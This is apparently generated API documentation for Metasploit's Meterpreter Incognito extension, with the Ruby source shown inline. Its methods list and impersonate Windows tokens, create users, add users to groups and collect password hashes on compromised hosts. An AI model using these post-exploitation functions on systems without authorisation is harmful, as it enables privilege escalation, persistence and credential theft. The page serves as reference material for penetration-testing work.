Class: Rex::Post::Meterpreter::Extensions::Incognito::Incognito
- Inherits:
-
Rex::Post::Meterpreter::Extension
- Object
- Rex::Post::Meterpreter::Extension
- Rex::Post::Meterpreter::Extensions::Incognito::Incognito
- Defined in:
- lib/rex/post/meterpreter/extensions/incognito/incognito.rb
Overview
This meterpreter extensions a privilege escalation interface that is capable of doing things like dumping password hashes and performing local exploitation.
Instance Attribute Summary
Attributes inherited from Rex::Post::Meterpreter::Extension
Instance Method Summary collapse
- #incognito_add_group_user(host, groupname, username) ⇒ Object
- #incognito_add_localgroup_user(host, groupname, username) ⇒ Object
- #incognito_add_user(host, username, password) ⇒ Object
- #incognito_impersonate_token(username) ⇒ Object
- #incognito_list_tokens(token_order) ⇒ Object
- #incognito_snarf_hashes(host) ⇒ Object
-
#initialize(client) ⇒ Incognito
constructor
A new instance of Incognito.
Constructor Details
#initialize(client) ⇒ Incognito
Returns a new instance of Incognito.
21 22 23 24 25 26 27 28 29 30 31 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 21 def initialize(client) super(client, 'incognito') client.register_extension_aliases( [ { 'name' => 'incognito', 'ext' => self }, ]) end |
Instance Method Details
#incognito_add_group_user(host, groupname, username) ⇒ Object
64 65 66 67 68 69 70 71 72 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 64 def incognito_add_group_user(host, groupname, username) request = Packet.create_request('incognito_add_group_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end |
#incognito_add_localgroup_user(host, groupname, username) ⇒ Object
74 75 76 77 78 79 80 81 82 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 74 def incognito_add_localgroup_user(host, groupname, username) request = Packet.create_request('incognito_add_localgroup_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end |
#incognito_add_user(host, username, password) ⇒ Object
54 55 56 57 58 59 60 61 62 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 54 def incognito_add_user(host, username, password) request = Packet.create_request('incognito_add_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end |
#incognito_impersonate_token(username) ⇒ Object
46 47 48 49 50 51 52 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 46 def incognito_impersonate_token(username) request = Packet.create_request('incognito_impersonate_token') request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end |
#incognito_list_tokens(token_order) ⇒ Object
34 35 36 37 38 39 40 41 42 43 44 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 34 def incognito_list_tokens(token_order) request = Packet.create_request('incognito_list_tokens') request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order) response = client.send_request(request) return { 'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION), 'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION) } end |
#incognito_snarf_hashes(host) ⇒ Object
84 85 86 87 88 89 90 |
# File 'lib/rex/post/meterpreter/extensions/incognito/incognito.rb', line 84 def incognito_snarf_hashes(host) request = Packet.create_request('incognito_snarf_hashes') request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) return true end |